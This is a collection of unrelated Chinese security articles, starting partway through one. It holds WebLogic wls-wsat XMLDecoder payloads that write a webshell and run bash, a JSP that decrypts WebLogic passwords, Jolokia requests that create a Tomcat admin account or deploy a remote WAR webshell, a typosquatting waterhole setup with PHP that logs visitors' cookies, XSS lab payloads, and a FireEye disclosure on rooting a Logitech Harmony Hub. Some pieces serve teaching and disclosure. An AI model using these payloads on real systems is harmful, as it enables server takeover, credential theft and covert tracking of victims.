http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:138&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
#### 3\. weblogic反序列化
Wenlogic`反序列化的漏洞`已经被爆出很长时间，网上可以找出各种各样的工具，在这里我就不再多提了。
#### 4\. weblogic_uac
第一步 抓取`http://x.x.x.x:7001/wls-wsat/CoordinatorPortType`
对其发起`POST`请求(任意包都可以，只要url对就可以)
第二步 加入 **Content-Type:text/xml**
第三步 在`body`中放入payload
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
<string><![CDATA[`此处放马（因为马的代码量太长顾不在此处展示ps:此处上传的不要带有中文要不会报错，可删掉中文上传，也可进行编码处理）`
]]></string></void><void method="close"/>
</object>
</java>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
以上为默认路径，如果不是默认路径同时又是`linux`系统可用以下payload`爆出路径`
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.xmlDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type d -name war;done|while read ff;do echo $ff >$ff/a.txt;done</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
#### 5\. weblogic 在线与离线解密
如有webshell可进行在线解密
把以下代码放入服务器进行访问，`s=""`中填写weblogic的加密密码，可在`boot.properties`文件中找到。默认路径为`../../../Server/security/boot.properties`
<%@page pageEncoding="utf-8"%>
<%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%>
<%
EncryptionService es = null;
ClearOrEncryptedService ces = null;
String s = null;
s="{AES}wfFNcH6k+9Nz22r1gCMnylgUr9Ho5kz8nDgib/TuOZU=";
es = SerializedSystemIni.getEncryptionService();
if (es == null) {
out.println("Unable to initialize encryption service");
return;
}
ces = new ClearOrEncryptedService(es);
if (s != null) {
out.println("\nDecrypted Password is:" + ces.decrypt(s));
}
%>
离线解密需要两个文件`SerializedSystemIni.dat`和`boot.properties` | 社区文章 |
作者：RicterZ@云鼎实验室
来源：<http://mp.weixin.qq.com/s/blpFK0oigTGtI_eVJxEL0w>
#### 0x00 - About Jolokia
Jolokia 是一个通过 HTTP 的 JMX 连接器，提供了类 RESTful 的操作方式，可以通过 POST JSON 的方式访问和修改 JMX
属性、执行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等。
Jolokia 支持提供了多种 Agents，包括 WAR Agent、OSGi Agent、JVM Agent 或者 Mule Agent。其中 WAR
Agent 支持了多种 Web Server：
* JBoss 4.2.3, 5.1.0, 6.1.0, 7.0.2, 7.1.1, 8.0.0
* Oracle WebLogic 9.2.3.0, 10.0.2.0, 10.3.6.0
* Glassfish 2.1.1, 3.0.1, 3.1.2, 4.0.0
* IBM Websphere 6.1.0.33, 7.0.0.11, 8.0.0.1, 8.5
* Apache Tomcat 5.5.35, 6.0.37, 7.0.52, 8.0.3
* Jetty 5.1.15, 6.1.26, 7.6.9, 8.1.9, 9.1.2
* Resin 3.1.9
* Jonas 4.10.7, 5.1.1, 5.2.1
* Apache Geronimo 2.1.6, 2.2.1, 3.0.0
* Spring dm Server 2.0.0.RELEASE
* Eclipse Virgo 2.1.0
通过 Jolokia，可以方便的操作 MBean，通过 GET 的例子：
ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage | jq
{
"request": {
"mbean": "java.lang:type=Memory",
"attribute": "HeapMemoryUsage",
"type": "read"
},
"value": {
"init": 94371840,
"committed": 91226112,
"max": 129761280,
"used": 32536960
},
"timestamp": 1522138479,
"status": 200
}
或者 POST 一个 JSON：
ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/ --data ' {
> "mbean":"java.lang:type=Memory",
> "attribute":"HeapMemoryUsage",
> "type":"READ"
> }' | jq
{
"request": {
"mbean": "java.lang:type=Memory",
"attribute": "HeapMemoryUsage",
"type": "read"
},
"value": {
"init": 94371840,
"committed": 91226112,
"max": 129761280,
"used": 33277720
},
"timestamp": 1522138552,
"status": 200
}
Jolokia 支持 READ、WRITE、SEARCH、EXEC、LIST 等操作，具体可以参考官方文档：[Jolokia - Reference
Documentation](https://jolokia.org/reference/html/index.html) 。
#### 0x01 - Jolokia Security Issues
##### 1\. JNDI Injection
Jolokia 支持一个叫做代理模式（Proxy Mode）的东西，是为了解决不能将 Jolokia Agent 部署在目标平台上的问题。具体架构如下：
可以通过向 Jolokia 发送 POST 请求来触发：
{
"type":"READ"
"mbean":"java.lang:type=Threading",
"attribute":"ThreadCount",
"target": {
"url":"service:jmx:rmi:///jndi/rmi://hostname:1234/jmxrmi",
}
}
熟悉 Java 安全的朋友可能会注意到，这里可能有一个 JNDI 注入。的确，在 WAR Agent 的情况下，此处存在一个 JNDI 注入，问题发生在
`agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java`：
public Object dispatchRequest(JmxRequest pJmxReq)
throws InstanceNotFoundException, AttributeNotFoundException, ReflectionException, MBeanException, IOException, NotChangedException {
JsonRequestHandler handler = requestHandlerManager.getRequestHandler(pJmxReq.getType());
JMXConnector connector = null;
try {
connector = createConnector(pJmxReq);
connector.connect();
....
当 Web Container 将请求的交由 `Jsr160RequestDispatcher` 处理时，Jolokia Agent 创建连接，导致
JNDI 注入。在 WAR Agent 里，默认是由 `Jsr160RequestDispatcher` 处理的，这一点在 web.xml 也有体现：
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
<init-param>
<description>
Class names (comma separated) of RequestDispatcher used in addition
to the LocalRequestDispatcher
</description>
<param-name>dispatcherClasses</param-name>
<param-value>org.jolokia.jsr160.Jsr160RequestDispatcher</param-value>
</init-param>
那么，攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON，即可利用 JNDI 在目标机器上执行命令。
##### 2\. Information Disclosure
Jolokia 中有一个默认注册的 MBean：`com.sun.management:type=HotSpotDiagnostic` ，这个 MBean
中存在 dumpHeap 方法，可以 dump 内存到指定的目录。同时在低版本的 Java 中（比如 1.8.0_11），导出的文件名可以设置任意名称，而非
`.hprof` 后缀。
下载后可以通过分析文件获取一些敏感信息：
如上图就获得了 Tomcat 管理员的账号密码，可以通过部署 WAR 文件的方式进行 getshell。
#### 0x02 - Tomcat with Jolokia
##### 1\. DoS
部署了 Jolokia 后，可以访问 `/jolokia/list` 查看可用的 MBean，通过翻阅可以发现 Tomcat + Jolokia
的情况下存在一些敏感操作，比如关闭服务：
{
"type": "EXEC",
"mbean": "Catalina:type=Service",
"operation": "stop",
"arguments": []
}
这样会造成 DoS，虽然没啥用。
##### 2\. Create Admin Account
问题在 `User:database=UserDatabase,type=UserDatabase` 下，其包括了
`createRole`、`createUser` 等操作，攻击流程为：
// 创建 manager-gui
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createRole",
"arguments": ["manager-gui", ""]
}
// 创建用户
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=UserDatabase",
"operation": "createUser",
"arguments": ["test233", "test233", ""]
}
// 增加角色
{
"type": "EXEC",
"mbean": "Users:database=UserDatabase,type=User,username=\"test233\"",
"operation": "addRole",
"arguments": ["manager-gui"]
}
接着利用 test233 / test233 登陆即可。
#### 0x03 - JBoss with Jolokia
##### 1\. DoS
关闭服务：
{
"type": "EXEC",
"mbean": "jboss.web.deployment:war=/ROOT",
"operation": "stop",
"arguments": []
}
##### 2\. Deploy WAR
JBoss 中，通过 JMX Console 部署 WAR 是最为人所知的，JBoss 中的
`jboss.system:service=MainDeployer` 提供了这个方法。由于此方法是重载的，所以需要指定一个
signature，也就是下图的`deploy(java.lang.String)`：
{
"type": "EXEC",
"mbean": "jboss.system:service=MainDeployer",
"operation": "deploy(java.lang.String)",
"arguments": ["http://127.0.0.1:1235/test.war"]
}
接着通过访问 `/test` 即可进入 webshell。
#### 0x04 Others
Weblogic 暴露出很多 MBean，但是有一些方法存在限制：
weblogic.management.NoAccessRuntimeException: Access not allowed for subject: principals=[], on ResourceType: WLDFImageRuntime Action: execute, Target: captureImage
可能会有其他的 MBean 可以进行操作，但是由于 MBean 繁多，没有太多精力去看。Jetty 没有暴露什么
MBean，所以暂时没有什么方法。ActiveMQ 有一些 MBean，粗略看了下没有发现什么问题，如果大家发现了，可以多多交流。
#### 0x05 Reference
* <https://jolokia.org/reference/html/index.html>
* <https://www.cvedetails.com/cve/CVE-2018-1000130/>
写在最后：Jolokia 可以暴露出更多的攻击面，通过这些攻击面进行操作来获取更高的权限，本文仅仅分析了部分 Java EE Servers 所呈现出来的
MBean，但是由于 Jolokia 支持多种 Agent，所以暴露出的东西不止如此。
此外，这次分析仅仅是在业务层面上进行分析，没有跟进到源码层面。可能会有如下情况：某个 MBean 进行了 JNDI
lookup，或者远程下载文件保存在本地，反序列化某一些内容等等，通过 Jolokia 进行操作可以二次利用这些问题来
RCE。这就需要具体情况具体分析了，本文如有错误，欢迎指正 :D
* * * | 社区文章 |
# 【技术分享】基于误植域名的水坑攻击实践
|
##### 译文声明
本文是翻译文章，文章来源：blog.0day.rocks
原文地址：<https://blog.0day.rocks/practical-waterholing-through-dns-typosquatting-e252e6a2f99e>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[qqwe_01](http://bobao.360.cn/member/contribute?uid=2614799936)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
因为并不是每个人都拥有NSA Quantum系统那样的能力，一个穷人必须考虑一下如何以较低代价黑入目标网络，对吧？
自90年代以来，误植已经被认知甚至是滥用，主要用于网络钓鱼，但是对于水坑攻击来说仍然是有利可图的。让我们来一探究竟吧！
你会不会经常把google.com错输成google.co？我很烦这种情况但它经常发生在我身上。这种情况每天也发生在数千人身上。所以我的主要想法是查找与流行的.com网站相应的可用的.co域名，看看情况有多糟糕：测试一个恶意的误植域名搭载漏洞利用套件的场景，打造一个穷人能用的QUANTUM系统！
漏洞攻击套件通过误植域名感染受害者的例子
例如，你可能因为漏拼一个字母而不小心访问到这些国家的顶级域名：
.com – > .cm（喀麦隆的顶级域名）
.com – > .co（哥伦比亚的顶级域名）
.com – > .om（阿曼顶级域名）
.net – > .ne（尼日尔顶级域名）
.net – > .et（埃塞俄比亚的顶级域名）
…
看到了吧，我们能利用的域名实在是太丰富了！接下来，我将用哥伦比亚（.co）的顶级域名做实验。
**第一步：寻找流行的域名**
我们来看看Alexa网站的排行榜，并寻找可用的域名。
获取最受欢迎的网站是非常容易的，这里是如何获得前2000的.com域名的方法
$ wget http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
$ unzip top-1m.csv.zip
$ cut -d”,” -f 2 top-1m.csv | grep “com$” | rev | cut -d”.” -f 1,2 | uniq | rev | head -n 2000 > top-2000.com.txt
我用python写了个小脚本来批量检查域名可用性：在.com域中，有320个.co域名可用（大约占16%），我选了其中8个看起来利用价值比较高的进行测试（排名靠前的大部分域名都是广告追踪器所以人们不会在地址栏手动输入，因此我把它们剔除了）。这些候选链接访问量排名全都在500和1000之间——这已足以让我们大展身手了。
**第二步：搭建“水坑”服务**
我在cheap VPS on
CockBox上给自己买了一个便宜的VPS，用于这个测试（我获得的IP地理定位在塞舌尔共和国，真是又酷又隐蔽😎）。设置网页服务器来托管用来重定向受害者的页面是相当容易的（我刚刚安装了PHP
/ MySQL来运行Piwik分析平台）。
这个想法是让访问者先加载一个无害的JavaScript代码，再把他们神不知鬼不觉地重定向到预期的.com网站。代码这样写就很好使:
<html>
<head>
<title>Loading...</title>
<meta http-equiv="refresh" content="1; url=http://<legitimatewebsite.com>/" />
<!-- FOXACID SPLOITZ GOES BELOW -->
<script type="text/javascript">
// something bad in here, I guess?
// I put a Piwik JS tracking code to see users that enabled JS
</script>
</head>
Loading...
</html>
<?php
// Just some logs to track "victims"
$cookies = str_replace("n", '', $_SERVER['HTTP_COOKIE']);
$line = date('Y-m-d H:i:s') . ";$_SERVER[REMOTE_ADDR];$_SERVER[HTTP_HOST];$_SERVER[HTTP_REFERER];$_SERVER[REQUEST_URI];"$_SERVER[HTTP_USER_AGENT]";"$cookies"";
file_put_contents('../.log', $line . PHP_EOL, FILE_APPEND);
?>
**
**
**第三步：数钱！**
啊，现在我们把所有的域名都设置好了，只等着世界各地的冤大头们来访问服务器，完美！
优点：它相当隐秘，不是基于电子邮件，受害者很可能不会看到发生了什么。
缺点：随机结果+等待时间。
**结果和统计**
这个实验持续了40天，我的日志文件中有5430个条目。大多数是爬虫和机器人，过滤掉它们之后我得到了共计916个独立IP对“水坑”服务器发起的1765次页面请求（大约23
次/天）。分析请求中的User-Agent值，可以确定这些请求都是人们在真正的浏览器的地址栏中手动输入URL并且输错之后引起的，那么看来这招确实有效！
遗憾的是，只有392个独立的访问者加载了我的Piwik
JavaScript代码。我怀疑之所以效果不好，是因为大多数人启用了广告拦截/隐私插件。这也算是个好消息吧，虽然，如果我用上真正的漏洞利用套件的话，结果就要另当别论了。。。
有趣的是，“被劫持”的域名的分布显示出一定的地域性。一个被误植域名的伊朗新闻网站正在按照预期的方式接收许多来自伊朗的连接（在右图，我们可以看到超过50％的流量来自伊朗）。
全球与伊朗网站
这次攻击的实际成本是每次点击$
0.05（按独立IP计算），这比电子商务网站的平均广告PPC（按点击付费）便宜。由于我都是选择很受欢迎的域名来误植，所以如果是其他不太知名的域名，你可能会获得不同的结果，但仍然，非常有利可图！
**WhatsApp泄漏**
值得注意的是，从WhatsApp客户端创建了的连接（对我的“水坑”服务器发起的简单的GET
/请求）有800多个，我怀疑当某人输入一个完整的URL时，会发生这种情况。众所周知， WhatsApp会为每次击键发起一次请求。
通过这个数据泄漏，我可以看到对被我误植全部8个WhatsApp地址的请求所带的ip和时间戳在受害者输入最后的一个字母m前被发送到我的.co服务器。这是一个可怕的隐私问题。。。
**误植域名的欺诈活动正野蛮发展**
我们已经看到了活跃的DNS误植活动，特别是在俄罗斯，针对各种VPN和托管服务提供商。（感谢dustyfresh的发现）。
该计划非常聪明，他们注册了大量不正确的域名，将其affiliate
ID注入302重定向到合法网站。受害者几乎看不见，当用户从访问的网站购买任何东西时，攻击者将分享部分利润。
据证实，一个滥用公司（还有许多其他公司）就已经为一个犯罪团伙提供了400美元。
误植域名中注入affiliate ID的HTTP事务处理情况
译者注：若想了解更多关于affiliate ID，可访问：
<https://opensrs.com/docs/opensrsapiperl/Affiliate_ID.html>
**结论**
尽管我们已经证明它可以用于欺诈或者公司间谍活动的针对性或机会主义的攻击，但从统计数据可以看出，鲜有人会滥用这种方式来大量大规模传播勒索软件。
例如，一位威胁角色的扮演者可能想要利用这种方法来感染某个公司局域网内的计算机。假设你是针对“随机大公司”，他们有一些内部和外部域名，我敢打赌你可以买几十个误植域名，并在不到一个月的时间里渗透进去。只需要等待几天/周，直到有人犯下第一个错误并紧接着带来大规模感染[1]：因此，你进入了目标。这像极了我们之前模拟的情况。
[1] 算不上0day，但用来网络钓鱼也非常好;-)
**如何保护自己？**
您应该从标准的企业安全和最佳实践开始（要事第一！）：
记录所有内容，包括DNS请求。然后，您可以在访问新注册的域名（<3个月）时设置警报。很可能你会得到很多警报，但这真的是要寻找的东西，结合您的域名上的列文斯坦距离，您可以解除大量的误报。
如果你想要更主动一些，你一定要尝试下Dnstwist这个相似/钓鱼域名监测工具。
感谢@ scriptjunkie1给了我这个研究的想法。如果您对其误植攻击感兴趣，请从OPCDE 2017查看他的幻灯片！ | 社区文章 |
# 2.Cross-Site Scripting
## 1.XSS（跨站脚本）概述
XSS（跨站脚本）概述
Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型：
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理，导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上，一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤：对输入进行过滤，不允许可能导致XSS攻击的字符输入;
输出转义：根据输出点的位置对输出到前端的内容进行适当转义;
## 2.反射型xss(get)
反射型XSS(get)
输入 ' " <> 特殊字符都可以原封不动的输出，可以发现没有任何过滤
在测试时，写入xss的payload发现被前端限制了输入长度
审查元素修改下长度，输入payload：
<script>alert(/xss/)</script>
即可
提交后，发现触发了xss
查看后台代码，发现 后台代码并没有对你输入的东西 做任何修改 ，只是原封不动的输出了
## 3.反射型xss(post)
输入账号密码：admin/123456 登入
成功登陆后的界面
登入后直接输入payload：
<script>alert(/xss/)</script>
触发弹窗
## 4.存储型xss
输入特殊字符：'"<> 发现没有过滤
直接输入payload：
<script>alert(/xss/)</script>
触发弹窗
查看后台代码
判断message是否存在，并且 message不为空
进行了转义，防止sql注入
插数据库的时候，做了对应的转义，防止数据库的注入 ，把message 插入到表中 存下来，存到后台
将存储的留言 都显示出来
每次点击存储型xss时就会弹窗，所以是持久型xss
## 5.DOM型xss
HTML DOM树，可以理解为DOM为一个一个访问html的标准编程接口
输入测试代码'"<> 显示的内容和我们的输入的有所不同
查看页面源码
getElementById获取标签id为text的值传递给str，str通过字符串拼接到a标签中。所以我们要闭合前面的标签
输入payload1：
'><img src="#" onmouseover="alert('xss')">
可以发现我们的输入变成了
当鼠标移动到图片位置就会触发弹窗
输入payload2：
' onclick="alert('xss')">
可以发现我们的输入变成了
点击what do you see,便会触发弹窗
## 6.DOM型xss-x
查看网页源代码
通过拼接代码的功能是从text框取值并插入到标签[,例如输入alert，点击链接会跳转到 ]()<http://xxxx/xss/alert中，>
先闭合前面的标签，再构造新的恶意标签拼接进代码
输入payload1：
'><img src="#" onmouseover="alert('xss')">
可以发现我们的输入变成了
当鼠标移动到图片位置就会触发弹窗
攻击过程：输入payload-》点击’请说出你的伤心往事‘-》点击’有些费尽心机...‘-》鼠标移动到图片位置
输入payload2：
' onclick="alert('xss')">
可以发现我们的输入变成了
点击’有些费尽心机...‘-》点击‘就让往事都随风’就会触发弹窗
## 7.xss之盲打
xss盲打是一种攻击场景。我们输出的payload不会在前端进行输出，当管理员查看时就会遭到xss攻击。
输入常规的payload:
<script>alert(/xss/)</script>
,点击提交后发现这里提示一段文字，应该是直接打到后台了，找到后台，登录进去看看
后台地址是/xssblind/admin_login.php登录即可触发xss
## 8.xss之过滤
输入`'<script>”` 特殊字符，看输出结果字符被过滤，查看前端源码 输入与输出结果不一致
查看后端源码，发现对 <script 标签进行了过滤，替换为空格，但是只是对小写进行了替换
尝试大小写绕过
<SCRIPT>alert(/xss/)</sCRIpt>
成功弹窗
当script为过滤关键词时，可以尝试其他的payload，如
<img src=x onmouseover="alert(/xss/)">
<img src=x onerror="alert(/xss/)">
点击图片的位置触发弹窗
## 9.xss之htmlspecialchars
htmlspecialchars()函数定义及用法
在php中，htmlspecialchars()函数是使用来把一些预定义的字符转换为HTML实体，返回转换后的新字符串，原字符串不变。如果 string
包含无效的编码，则返回一个空的字符串，除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志；
被转换的预定义的字符有：
&：转换为&
"：转换为"
'：转换为成为 '
<：转换为<
>：转换为>
输入特殊字符' " < > ，查看前端源码，我们看到 " < > 都进行了html实体转码
但是没有对 ' 进行实体转码
可以使用单引号构造payload。
#' onclick='alert(/xss/)
可以看到我们的输入变成了
第一个单引号闭合href属性的双引号，第二个单引号闭合href属性的闭合双引号
点击语句即可触发弹窗
## 10.xss之href输出
输入测试代码#' onclick='alert(/xss/) ，查看前端源码，发现单引号没有用了
在a标签的href属性里面,可以使用javascript协议来执行js，可以尝试使用伪协议绕过。
javascript:alert(/xss/)
点击即可触发弹窗
## 11.xss之js输出
输入测试代码
<script>alert(/xss/)</script>
查看源码
输入的代码被生成在js中并赋值给$ms。我们的输入被带入到js中，可以闭合
</script><script>alert(/xss/)</script>
';alert(1);//
成功弹窗
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 物联网安全：Logitech Harmony Hub安全性分析
|
##### 译文声明
本文是翻译文章，文章来源：https://www.fireeye.com/
原文地址：<https://www.fireeye.com/blog/threat-research/2018/05/rooting-logitech-harmony-hub-improving-iot-security.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
FireEye的Mandiant Red Team最近在Logitech Harmony
Hub物联网（IoT）设备上发现了一些漏洞，这些漏洞可以被攻击者利用，通过SSH渠道获得目标设备的root访问权限。Harmony
Hub是一款家庭控制系统，用来连接并控制用户家庭环境中的各种设备。在本地网络中利用这些漏洞后，攻击者可以控制连接到Hub的设备，也可以利用Hub做为执行节点，攻击本地网络中的其他设备。由于Harmony
Hub所支持的设备较多，包括智能门锁、智能恒温器以及其他智能家居设备等，因此这些漏洞会给用户带来极高的风险。
FireEye在2018年1月向Logitech披露了这些漏洞，Logitech积极响应，与FireEye一起沟通协作，发布固件更新（4.15.96）解决了这些问题。
Red Team发现了如下几个漏洞：
1、未验证证书有效性；
2、不安全的更新过程；
3、生产固件镜像中遗留开发者（developer）调试符号；
4、空的root用户密码。
Red Team组合使用了这几个漏洞，最终获得了Harmony
Hub的管理员访问权限。在本文中我们介绍了这些漏洞的发现及分析过程，与大家分享了对消费者设备进行严格安全测试的必要性：现如今公众对设备越来越信任，而这些设备不仅连接到家庭网络中，也会透露关于公众日常生活的各种细节，此时安全形势也更加严峻。
## 二、设备分析
### 设备准备
已公开的一些[研究报告](https://forum.openwrt.org/viewtopic.php?pid=221373)表明，Harmony
Hub的测试点上存在一个UART（universal asynchronous
receiver/transmitter，通用异步收发传输器）接口。我们将跳线连接到这些测试点上，这样就能使用TTL转USB串行线路连接到Harmony
Hub。初步分析启动过程后，我们发现Harmony Hub会通过U-Boot 1.1.4启动，运行一个Linux内核，如图1所示。
图1. 从UART接口获得的启动日志
在启动过程后续阶段中，控制台不再输出任何信息，因为内核并没有配备任何控制台接口。我们在U-Boot中重新配置了内核启动参数，想查看完整的启动过程，但并没有恢复出有用的信息。此外，由于设备将UART接口配置成仅传输模式，因此我们不能通过该接口与Harmony
Hub进一步交互，因此我们将研究重点转移到了Harmony Hub所运行的Linux操作系统上，想进一步了解整个系统以及其上运行的相关软件。
### 固件恢复及提取
Harmony
Hub可以使用配套的Android或者iOS应用通过蓝牙来进行初始化配置。我们使用hostapd创建了一个无线网络，在Android测试设备上安装了Burp
Suite Pro CA证书，以捕捉Harmony移动应用发往互联网以及发往Harmony
Hub的通信流量。一旦初始化配对完成，Harmony应用就会搜索本地网络中的Harmony Hub，使用基于HTTP的API与Harmony Hub通信。
一旦成功连接，Harmony应用就会向Harmony Hub的API发送两个不同的请求，以便Harmony Hub检查是否存在更新，如图2所示。
图2. 使Harmony Hub检查更新的请求报文
Harmony
Hub会向Logitech服务器发送当前的固件版本，以确定是否存在更新（如图3所示）。如果需要更新，Logitech服务器会发送一个响应包，其中包含新固件版本所对应的一个URL（如图4所示）。由于我们使用了自签名的证书来捕捉Harmony
Hub发送的HTTPS流量，因此我们可以顺利观察到这个过程（Harmony Hub会忽略无效的SSL证书）。
图3. Harmony Hub检查固件更新
图4. 服务器返回的响应包中包含更新固件的URL
我们获取了这个固件并检查了相关文件。剥离好几个压缩层后，我们可以在harmony-image.squashfs文件中找到固件。固件所使用的文件系统镜像为SquashFS文件系统，采用lzma压缩算法（这是嵌入式设备常用的压缩格式）。然而，厂商经常使用老版本的squashfstools，这些版本与最新的squashfstools并不兼容。我们使用了[firmware-mod-kit](https://github.com/rampageX/firmware-mod-kit)中的 **unsqashfs_all.sh**
脚本，自动化探测unsquashfs的正确版本，以便提取文件系统镜像，如图5所示。
图5. 使用firmware-mod-kit提取文件系统
提取文件系统内容后，我们检查了Harmony
Hub搭载的操作系统的某些详细配置信息。经过检查后，我们发现这个生产镜像中包含大量的调试信息，比如没有删掉的内核模块等，如图6所示。
图6. 文件系统中未删掉的Linux内核对象
检查`/etc/passwd`后，我们发现root用户并没有设置密码（如图7所示）。因此，如果我们可以启用dropbear
SSH服务器，我们就能通过SSH接口获取Harmony Hub的root访问权限，无需使用密码。
图7. `/etc/passwd`文件显示root用户未设置密码
我们发现，如果文件系统中存在`/etc/tdeenable`文件，则会在初始化阶段中启用dropbear SSH服务器，如图8所示。
图8. 如果存在`/etc/tdeenable`，`/etc/init.d/rcS`脚本则会启用dropbear SSH服务器
### 劫持更新过程
在初始化过程中，Harmony Hub会在Logitech API上查询 **GetJson2Uris**
地址，获取各种过程所需的一个URL列表（如图9所示），其中包括检查固件更新所使用的URL以及获取更新所需的额外软件包信息的URL。
图9. 发送请求获取各种过程所需的URL地址
我们拦截并修改了服务器返回的响应数据包中的JSON对象，将其中的 **GetUpdates** 成员指向我们自己的IP地址，如图10所示。
图10. 修改过的JSON对象
与固件更新过程类似，Harmony Hub会向 **GetUpdates** 所指定的端点发送一个POST请求，请求中包含设备内部软件包的当前版本信息。
**HEOS** 软件包对应的请求如图11所示。
图11. 包含系统中“HEOS”软件包当前版本信息的JSON请求对象
如果POST请求正文中的 **sysBuild**
参数与服务器已知的当前版本不匹配，服务器就会响应一个初始数据包，其中包含新软件包版本信息。由于某些不知名的原因，Harmony
Hub忽略了这个初始响应包，发送了第二个请求。第二个响应包中包含多个URL地址，这些地址指向了新的软件包，如图12所示。
图12. 包含软件更新包的JSON响应数据
我们下载了响应数据包中列出的 **.pkg** 文件，检查后发现这些文件其实是ZIP压缩文件。压缩文件的文件结果比较简单，如图13所示。
图13. `.pkg`压缩文档结构
其中， **manifest.json** 文件可以告诉Harmony Hub在更新过程中如何处理压缩文档的内容，如图14所示。
图14. `manifest.json`文件内容
manifest文件中 **installer** 参数所指定了一个脚本，如果压缩文件中存在该脚本，那么Harmony
Hub在更新过程中就会执行这个脚本。我们修改了这个脚本，如图15所示，修改后该脚本会创建`/etc/tdeenable`文件，前面提到过，这样启动过程就会启用SSH接口。
图15. 修改后的`update.sh`文件
我们创建了带有 **.pkg** 扩展名的一个恶意压缩文档，使用本地web服务器托管该文档。当下一次Harmony Hub根据被篡改的
**GetJson2URIs** 响应包中给出的URL地址来检查更新时，我们返回经过修改的响应包，指向这个更新文件。Harmony
Hub会接收我们提供的恶意软件更新包，重启Harmony Hub后就会启用SSH接口。这样我们就可以使用 **root**
用户名以及空密码来访问该设备，如图16所示。
图16. 重启后设备启用了SSH接口
## 三、总结
随着科技逐步融入我们的日常生活中，我们也在不知不觉中越来越信任各种设备。Harmony
Hub与许多物联网设备一样，采用了通用处理器架构，因此攻击者可以轻松将恶意工具添加到被攻破的Harmony
Hub上，进一步扩大攻击活动的影响力。Logitech与我们的团队积极合作，发布了4.15.96固件解决了这些漏洞。如果用户对某些设备非常信任，那么这些设备的开发者就应该保持警惕，移除让用户处于危险境地的潜在攻击因素。Logitech在与Red
Team的研究工作中发表过一则声明，在此我们也想与大家一起分享：
“Logitech非常重视客户的安全及隐私。2018年1月下旬，FireEye发现了可能影响Logitech Harmony
Hub产品的一些漏洞，如果某个恶意黑客已经获取Hub用户网络的访问权限，就可以利用这些漏洞。我们非常感谢FireEye等专业安全研究公司在挖掘探索IoT设备上这类漏洞所付出的努力。
在FireEye将这些研究成果告知我们后，我们第一时间启动了内部调查，并且马上开始研发固件以解决这些问题。4月10日，我们发布了固件更新，全部解决了这些漏洞。如果还有客户没有将固件更新到4.15.96版，我们建议您检查MyHarmony软件，同步基于Hub的远程设备并接收该固件。用户可以查看[此链接](https://support.myharmony.com/en-us/how-to-update-your-firmware)了解关于固件更新的完整说明。
基于Hub的产品包括： Harmony Elite、Harmony Home Hub、Harmony Ultimate Hub、harmony Hub,
Harmony Home Control、Harmony Pro、Harmony Smart Control、Harmony
Companion、Harmony Smart Keyboard、Harmony Ultimate以及Ultimate Home”。 | 社区文章 |
# 利用缓解技术：数据执行保护（DEP）
|
##### 译文声明
本文是翻译文章，文章原作者 ricksanchez，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/exploit-mitigation-techniques-data-execution-prevention-dep/4634>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
欢迎阅读GNU/Linux利用缓解技术的系列文章。前面我们一直在介绍pwn以及漏洞利用技术相关知识，现在我想把重点转移到绕过技术上，通过一系列文章介绍当前常见的防御机制。随后，我将重点介绍这些技术的局限性，通过一个简单示例展示相应的绕过方法。
> 备注：本文是我近期自学的一些心得，可能包含错误内容。如果你们发现任何纰漏，请及时告知我。
这是本系列的第一篇文章，会对整体概念做个简单的介绍。后续的文章（特别是介绍利用缓解技术时）将关注可以使用的防御机制及绕过技术。
